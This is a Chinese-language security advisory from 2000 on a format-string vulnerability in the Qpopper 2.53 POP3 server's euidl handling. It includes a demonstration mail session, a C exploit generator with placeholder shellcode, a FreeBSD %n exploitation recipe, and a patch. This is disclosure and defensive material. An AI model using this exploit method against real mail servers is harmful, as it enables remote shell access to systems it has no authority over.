通過Qpopper2.53遠程獲得shell
建立時間:2000-05-27
文章屬性:原創
文章提交:quack (quack_at_xfocus.org)
通過Qpopper2.53遠程獲得shell
by quack
參考:bufferoverflow secrurity advisory #5 by prizm
* 簡述
Qpopper是使用相當廣泛的POP3伺服器,允許使用者通過POP3用戶端讀他們的信件。
它通常用於標準的UNIX系統裡的郵件服務。
* 問題
在Qpopper2.53的版本中,QPOP的漏洞會使你遠程獲得一個gid=mail的shell。
問題出在pop_msg()函數,當使用者執行euidl命令時會出錯,讓我們檢查一下Qpop
2.53的代碼吧:
--> pop_uidl.c,在代碼第150行處:
................
sprintf(buffer, "%d %s", msg_id, mp->uidl_str);
if (nl = index(buffer, NEWLINE)) *nl = 0;
sprintf(buffer, "%s %d %.128s", buffer, mp->length, from_hdr(p, mp));
! return (pop_msg (p,POP_SUCCESS, buffer));
^^^^^^^^^^^^^
.................
在pop_msg.c中函數pop_msg()定義為:pop_msg(POP *p, int stat,
const char *format,...), 這裡有一個使用者輸入的format:)
好了,我們想象一下下面的情況吧:
MAIL FROM:<hakker@evil.org>
200 Ok
RCPT TO:<luser@host.withqpop253.com>
200 Ok
data
200 Okey, okey. end with "."
Subject: still trust qpop?=/
X-UIDL: AAAAAAAAAAAAAAAA
From: %p%p%p%p%p%p%p
test
.
200 BLABLABLA Ok, message accepted for delivery.
然後使用者luser串連到他的pop帳號並且運行euidl命令:
+OK QPOP (version 2.53) at b0f starting. <666.666@b0f>
USER luser
+OK Password required for luser.
PASS secret
+OK luser has 3 messages (1644 octets).
euidl 3
+OK 2 AAAAAAAAAAAAAAAA 530 0xbfbfc9b00x804fd740xbfbfc9b00x2120x8052e5e0xbfbfd1e80x8057028
Yeah, thats from my box with FreeBSD. As you can see, our %p%p%p%p%p%p%p
where implemented as arguments for vsnprintf() command.
* 利用
能夠做到吧? 是的, 當然!
但那有個小小的限制. Qpopper2.53運行於FreeBSD上的會比LINUX更難於利用,因為
freebsd將pop_msg.c函數中的vsprintf()調用改成了vsnprintf()調用,兩者之間有
著顯著的差別——當然也是可以利用的:)
利用程式
--------
/* qpop_euidl.c exploit by prizm/Buffer0verflow Security
*
* Sample exploit for buffer overflow in Qpopper 2.53.
* This little proggie generates a mail u need to send.
*
* Standard disclaimer applies.
* By the way, exploit is broken =) You need to insert shellcode.
*
* MAD greets to tf8 for pointing out the bug, and all other b0f members.
* greets to USSRLabs and ADM
* check http://b0f.freebsd.lublin.pl/ for news.
*/
#include <stdio.h>
#include <string.h>
char shellcode[]="imnothing";
int main(int argc, char *argv[])
{
int i;
unsigned long ra=0;
if(argc!=2) {
fprintf(stderr,"Usage: %s return_addr/n", argv[0]);
exit(0);
}
sscanf(argv[1], "%x", &ra);
if(!ra)
return;
if(sizeof(shellcode) < 12 || sizeof(shellcode) > 76) {
fprintf(stderr,"Bad shellcode/n");
exit(0);
}
fprintf(stderr,"return address: 0x%.8x/n", ra);
printf("X-UIDL: ");
for(i=0; i < sizeof(shellcode);i++)
printf("%c", shellcode[i]);
printf("/r/n");
printf("From: %s", "%.1000d");
for(i=0; i < 50; i++)
printf("%c%c%c%c", (ra & 0xff), (ra & 0xff00)>>8, (ra & 0xff0000)>>16, (ra & 0xff000000)>>24);
printf("@test/r/n");
printf("Subject: test/r/n/r/nhuh?/r/n./r/n");
return 0;
}
在FreeBSD上利用QPOP連接埠
---------------------
這不太容易,因為函數vsprintf()已經被vsnprintf()替代了,所以我們無法造成溢出,但我們
仍然能夠控制它——記得%n嗎?它的原理如下:
這裡面有個利用%n的小竅門。看看下面的代碼吧,能否理解為什麼其輸出的結果是2000,
而不是sizeof(b):
---<cut>---
#include <stdio.h>
int main(void){
int s=1; char b[1024]; int q;
snprintf(b, sizeof(b), "%.2000d%n", 1, &q);
return printf("%d, overflowed? %s/n", q, (s==1?"NO":"YES"));
}
---</cut>---
在我的FreeBSD 3.4機器上我得到了以下結果:
2000, overflowed? NO
嘿,剛開始我希望能看到1024,但你知道——有時程式的運行並不容易控制,看看下面
或許能有些協助。
Exploiting it:
a) 找出使用者的輸入在堆棧中的精確位置。
b) Compose a message with filed X-UIDL and From:
X-UIDL: ppRETARETARETARETA
From: <SHELLCODE>%.RETURNd%n@test
其中:
"pp" 用來填充的(二至三個位元組)
"RETA" 表示返回的SHELLCODE的地址
"SHELLCODE" guess
"RETURN" 返回地址
c) 如果你需要freebsd版本的利用程式——自己動手吧:)
* 存在漏洞的版本
2.53(其它呢?不確定……)
* 補丁
你可以從http://www.eudora.com/freeware/qpop.html#CURRENT下載到Qpopper 3.1的版
本,其中這個問題已經解決。
或者你可以自己動手修改代碼:
在pop_msg.c的150行及62行, 將:
- return (pop_msg (p,POP_SUCCESS, buffer));
修改為:
+ return (pop_msg (p,POP_SUCCESS, "%s", buffer));